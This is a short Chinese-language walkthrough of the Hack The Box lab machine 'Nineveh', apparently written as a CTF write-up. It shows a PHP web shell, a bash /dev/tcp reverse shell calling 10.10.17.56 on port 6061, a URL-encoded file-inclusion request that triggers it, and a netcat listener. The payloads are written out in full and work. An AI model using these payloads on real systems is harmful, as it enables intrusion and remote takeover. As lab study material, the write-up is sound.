Nineveh

Nineveh 這台靶機中,我們利用 Hydra 爆破了 https://nineveh.htb/db 的登入頁面,在裡面我們可以任意修改資料庫:

資料庫被存在 /var/tmp/,恰好在另外一個網頁 http://nineveh.htb/department/ 找到了 File Inclusion, 通常會直接用簡單的

<?php system($_GET['cmd']); ?>

配合簡單的 Reverse Shell:

bash -c 'sh -i >& /dev/tcp/10.10.17.56/6061 0>&1'

要記得加上 bash -c

PHP 的 system() 會利用 /bin/sh -c 執行指令,而 /dev/tcp/host/port 是 Bash 自己的語法糖,所以 Dash 並不支援,所以必須額外呼叫 Bash 才能順利執行。

就變得很像:

dash -c "bash -c 'sh -i >& /dev/tcp/10.10.17.56/6061 0>&1'"

要記得 URL Encode

DenCode 是個很不錯的選擇

組合拳打下來長這個樣子:

GET /department/manage.php?cmd=bash+-c+%27sh+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.17.56%2F6061+0%3E%261%27&notes=files/ninevehNotes/../../../../../../var/tmp/test HTTP/1.1

在本地 nc -lvnp 6061 就會噴 shell 了。